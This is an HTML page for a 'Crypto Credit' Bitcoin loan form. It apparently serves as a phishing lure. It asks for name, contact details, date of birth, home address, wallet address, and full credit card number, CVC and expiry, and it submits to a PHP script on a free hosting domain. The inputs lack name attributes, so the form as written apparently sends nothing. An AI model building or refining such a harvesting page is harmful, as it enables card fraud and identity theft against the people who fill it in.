<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<title>Document</title>
<link href="https://cryptocredit2.000webhostapp/paymentform.css" rel="stylesheet">
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet"
integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" >
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css" />
</head>
<body>
<div class="wrapper">
<h2>
Crypto Credit</h2>
<form method="GET" action="https://cryptocredit2.000webhostapp/hello.php">
<h4>
Account</h4>
<div class="input-group">
<div class="input-box">
<input type="text" placeholder="Full Name" required class="name">
<i class="fa fa-user icon"></i>
</div>
<div class="input-box">
<input type="text" placeholder="Nick Name" required class="name">
<i class="fa fa-user icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="email" placeholder="Email Adress" required class="name">
<i class="fa fa-envelope icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="tel"placeholder="Phone Number" required class="name" >
<i class="fa fa-phone icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="text"placeholder="Bitcoin Wallet Address" required class="name" >
<i class="fa fa-envelope icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="tel" placeholder="Amount of Bitcoin 0.0005-0.005" required class="name">
<i class="fa fa-money icon"></i>
</div>
</div>
<br/>
<div class="input-group">
<div class="input-box">
<h4>
Date of Birth</h4>
<input type="tel" placeholder="DD" class="dob">
<input type="tel" placeholder="MM" class="dob">
<input type="tel" placeholder="YYYY" class="dob">
</div>
<div class="input-box">
<h4>
Gender</h4>
<input type="radio" id="b1" name="gendar" checked class="radio">
<label for="b1">Male</label>
<input type="radio" id="b2" name="gendar" class="radio">
<label for="b2">Female</label>
</div>
</div>
<h4>Address</h4>
<div class="input-group">
<div class="input-box">
<input type="text" placeholder="Street Address" required class="name">
<i class="fa fa-map icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="text" placeholder="Town/City" required class="name">
<i class="fa fa-map icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="text" placeholder="State/Province" required class="name">
<i class="fa fa-map icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="text" placeholder="Country" required class="name">
<i class="fa fa-map icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="radio" name="pay" id="bc1" checked class="radio">
<label for="bc1"><span><i class="fa fa-cc-visa"></i> Credit Card For Cash Repayment</span></label>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="tel" placeholder="Card Number" required class="name">
<i class="fa fa-credit-card icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<input type="tel" placeholder="Card CVC" required class="name">
<i class="fa fa-credit-card icon"></i>
</div>
<div class="input-box">
<input type="text" placeholder="Expiry Date" class="name">
<i class="fa fa-calendar icon"></i>
</div>
</div>
<div class="input-group">
<div class="input-box">
<button type="submit">Request Loan</button>
</div>
</div>
</form>
</div>
</body>
</html>